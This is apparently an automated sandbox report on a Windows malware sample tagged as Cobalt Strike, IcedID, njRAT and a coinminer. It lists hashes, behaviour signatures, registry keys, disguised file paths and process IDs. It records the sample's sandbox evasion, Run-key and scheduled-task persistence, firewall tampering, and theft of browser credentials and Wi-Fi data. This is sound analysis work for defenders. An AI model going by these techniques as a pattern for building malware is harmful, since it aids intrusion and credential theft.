99ad6bdaca06d48712d52d5b88955f3a9563bda1de92ae8fcf2778c85de45c1b

Analysis

max time kernel
44s
max time network
156s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/06/2026, 01:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 37.0MB
Sample260602-cee3facw7k
SHA256 99ad6bdaca06d48712d52d5b88955f3a9563bda1de92ae8fcf2778c85de45c1b
MD5 349bca8cf662c1fe96d17d989e90bd0f
SHA1 2f1d33446f91a155b345ed7d45b287ef7e8c8c18
SHA512 c940437979f07a6aa82b56375a4783dd04c73261160bccbf4b524698ea292b22ec0565f2fd3b9615e1dc0ce2abd2ce2afeb3a3dfe96bbcc35fd7ab870b79c13d
SSDEEP 393216:q1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfD:qMguj8Q4VfvQqFTrYaxvd5E5v
TLSH
T127878B0773E600A5E9B7D1388AA65507D773B8674331CBDF329D06152FABAD09A7E320
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

collection defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Adds policy Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_1 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\Update\\MicrosoftEdgeUpdate.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_3 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SearchFilterHost.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\MsEdgeAutoUpdate = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\\MsEdgeAutoUpdate.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_2 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Media Player\\wmlaunch.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsUpdate\\wuauclt.exe"	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3968	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 61 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6008	powershell.exe
3972	powershell.exe
1600	powershell.exe
5136	powershell.exe
3968	powershell.exe
4780	powershell.exe
3224	powershell.exe
2200	powershell.exe
4836	powershell.exe
4640	powershell.exe
2464	powershell.exe
2560	powershell.exe
2356	powershell.exe
4704	powershell.exe
2948	powershell.exe
3220	powershell.exe
2288	powershell.exe
4492	powershell.exe
2144	powershell.exe
2976	powershell.exe
5800	powershell.exe
4260	powershell.exe
4056	powershell.exe
1052	powershell.exe
5036	powershell.exe
4520	powershell.exe
5140	powershell.exe
5028	powershell.exe
4056	powershell.exe
5036	powershell.exe
1600	powershell.exe
5136	powershell.exe
3968	powershell.exe
2144	powershell.exe
3972	powershell.exe
2976	powershell.exe
2356	powershell.exe
5800	powershell.exe
6008	powershell.exe
3220	powershell.exe
4260	powershell.exe
2560	powershell.exe
4780	powershell.exe
5028	powershell.exe
4640	powershell.exe
2288	powershell.exe
1052	powershell.exe
4492	powershell.exe
4704	powershell.exe
3224	powershell.exe
5140	powershell.exe
2464	powershell.exe
3968	powershell.exe
3272	powershell.exe
2432	powershell.exe
1688	powershell.exe
3636	powershell.exe
1012	powershell.exe
1860	powershell.exe
2868	powershell.exe
996	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMMEMCTL	reg.exe

Looks for Xen service registry key. 1 TTPs 1 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xenevtchn	reg.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5188	netsh.exe
5376	netsh.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2500	cmd.exe
4660	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
2084	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
2496	MicrosoftEdgeUpdate.exe
2352	MsEdgeAutoUpdate.exe
4856	wuauclt.exe
1756	SearchFilterHost.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	reg.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
232	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
2616	ARP.EXE
4968	cmd.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Enumerates processes with tasklist 1 TTPs 7 IoCs

discovery

Process Discovery

T1057

pid	Process
4616	tasklist.exe
5844	tasklist.exe
5704	tasklist.exe
4908	tasklist.exe
5756	tasklist.exe
5112	tasklist.exe
2372	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1996	cmd.exe
5392	cmd.exe
2676	cmd.exe
1780	cmd.exe
2724	cmd.exe
5328	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2988	powershell.exe
3260	powershell.exe
2432	powershell.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 12 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	wuauclt.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	SearchFilterHost.exe
File created	C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3968	cmd.exe
4208	netsh.exe
4704	cmd.exe
5452	netsh.exe

System Network Connections Discovery 1 TTPs 2 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
5644	NETSTAT.EXE
4016	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5768	WMIC.exe

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4456	ipconfig.exe
5644	NETSTAT.EXE
3452	ipconfig.exe

NTFS ADS 17 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe\:Zone.Identifier:$DATA	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	wuauclt.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe\:Zone.Identifier:$DATA	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe\:Zone.Identifier:$DATA	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	SearchFilterHost.exe
File created	C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe\:Zone.Identifier:$DATA	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe\:Zone.Identifier:$DATA	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 16 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4928	schtasks.exe
3148	schtasks.exe
5928	schtasks.exe
5044	schtasks.exe
3336	schtasks.exe
4756	schtasks.exe
5280	schtasks.exe
3744	schtasks.exe
4532	schtasks.exe
4340	schtasks.exe
6080	schtasks.exe
3264	schtasks.exe
4800	schtasks.exe
5152	schtasks.exe
6084	schtasks.exe
5924	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
2868	powershell.exe
2868	powershell.exe
2868	powershell.exe
3968	powershell.exe
3968	powershell.exe
6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
996	powershell.exe
996	powershell.exe
1688	powershell.exe
1688	powershell.exe
1688	powershell.exe
1688	powershell.exe
1688	powershell.exe
3636	powershell.exe
3636	powershell.exe
4260	powershell.exe
4260	powershell.exe
4640	powershell.exe
4640	powershell.exe
4660	powershell.exe
4660	powershell.exe
2464	powershell.exe
2464	powershell.exe
4056	powershell.exe
4056	powershell.exe
2288	powershell.exe
2288	powershell.exe
1052	powershell.exe
1052	powershell.exe
5036	powershell.exe
5036	powershell.exe
3972	powershell.exe
3972	powershell.exe
1600	powershell.exe
1600	powershell.exe
4492	powershell.exe
4492	powershell.exe
5136	powershell.exe
5136	powershell.exe
4520	powershell.exe
4520	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
1012	powershell.exe
1012	powershell.exe
2560	powershell.exe
2560	powershell.exe
5140	powershell.exe
5140	powershell.exe
1860	powershell.exe
1860	powershell.exe
4780	powershell.exe
4780	powershell.exe
3272	powershell.exe
3272	powershell.exe
2144	powershell.exe
2144	powershell.exe
5028	powershell.exe
5028	powershell.exe
2976	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4876	WMIC.exe
Token: SeSecurityPrivilege	4876	WMIC.exe
Token: SeTakeOwnershipPrivilege	4876	WMIC.exe
Token: SeLoadDriverPrivilege	4876	WMIC.exe
Token: SeSystemProfilePrivilege	4876	WMIC.exe
Token: SeSystemtimePrivilege	4876	WMIC.exe
Token: SeProfSingleProcessPrivilege	4876	WMIC.exe
Token: SeIncBasePriorityPrivilege	4876	WMIC.exe
Token: SeCreatePagefilePrivilege	4876	WMIC.exe
Token: SeBackupPrivilege	4876	WMIC.exe
Token: SeRestorePrivilege	4876	WMIC.exe
Token: SeShutdownPrivilege	4876	WMIC.exe
Token: SeDebugPrivilege	4876	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4876	WMIC.exe
Token: SeRemoteShutdownPrivilege	4876	WMIC.exe
Token: SeUndockPrivilege	4876	WMIC.exe
Token: SeManageVolumePrivilege	4876	WMIC.exe
Token: 33	4876	WMIC.exe
Token: 34	4876	WMIC.exe
Token: 35	4876	WMIC.exe
Token: 36	4876	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4876	WMIC.exe
Token: SeSecurityPrivilege	4876	WMIC.exe
Token: SeTakeOwnershipPrivilege	4876	WMIC.exe
Token: SeLoadDriverPrivilege	4876	WMIC.exe
Token: SeSystemProfilePrivilege	4876	WMIC.exe
Token: SeSystemtimePrivilege	4876	WMIC.exe
Token: SeProfSingleProcessPrivilege	4876	WMIC.exe
Token: SeIncBasePriorityPrivilege	4876	WMIC.exe
Token: SeCreatePagefilePrivilege	4876	WMIC.exe
Token: SeBackupPrivilege	4876	WMIC.exe
Token: SeRestorePrivilege	4876	WMIC.exe
Token: SeShutdownPrivilege	4876	WMIC.exe
Token: SeDebugPrivilege	4876	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4876	WMIC.exe
Token: SeRemoteShutdownPrivilege	4876	WMIC.exe
Token: SeUndockPrivilege	4876	WMIC.exe
Token: SeManageVolumePrivilege	4876	WMIC.exe
Token: 33	4876	WMIC.exe
Token: 34	4876	WMIC.exe
Token: 35	4876	WMIC.exe
Token: 36	4876	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3352	WMIC.exe
Token: SeSecurityPrivilege	3352	WMIC.exe
Token: SeTakeOwnershipPrivilege	3352	WMIC.exe
Token: SeLoadDriverPrivilege	3352	WMIC.exe
Token: SeSystemProfilePrivilege	3352	WMIC.exe
Token: SeSystemtimePrivilege	3352	WMIC.exe
Token: SeProfSingleProcessPrivilege	3352	WMIC.exe
Token: SeIncBasePriorityPrivilege	3352	WMIC.exe
Token: SeCreatePagefilePrivilege	3352	WMIC.exe
Token: SeBackupPrivilege	3352	WMIC.exe
Token: SeRestorePrivilege	3352	WMIC.exe
Token: SeShutdownPrivilege	3352	WMIC.exe
Token: SeDebugPrivilege	3352	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3352	WMIC.exe
Token: SeRemoteShutdownPrivilege	3352	WMIC.exe
Token: SeUndockPrivilege	3352	WMIC.exe
Token: SeManageVolumePrivilege	3352	WMIC.exe
Token: 33	3352	WMIC.exe
Token: 34	3352	WMIC.exe
Token: 35	3352	WMIC.exe
Token: 36	3352	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3352	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6128 wrote to memory of 4920	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	79
PID 4920 wrote to memory of 2336	4920	cmd.exe	174
PID 6128 wrote to memory of 4184	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	82
PID 4184 wrote to memory of 4876	4184	cmd.exe	84
PID 6128 wrote to memory of 5088	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	86
PID 5088 wrote to memory of 3352	5088	cmd.exe	88
PID 6128 wrote to memory of 2068	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	89
PID 2068 wrote to memory of 5168	2068	cmd.exe	374
PID 6128 wrote to memory of 3820	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	92
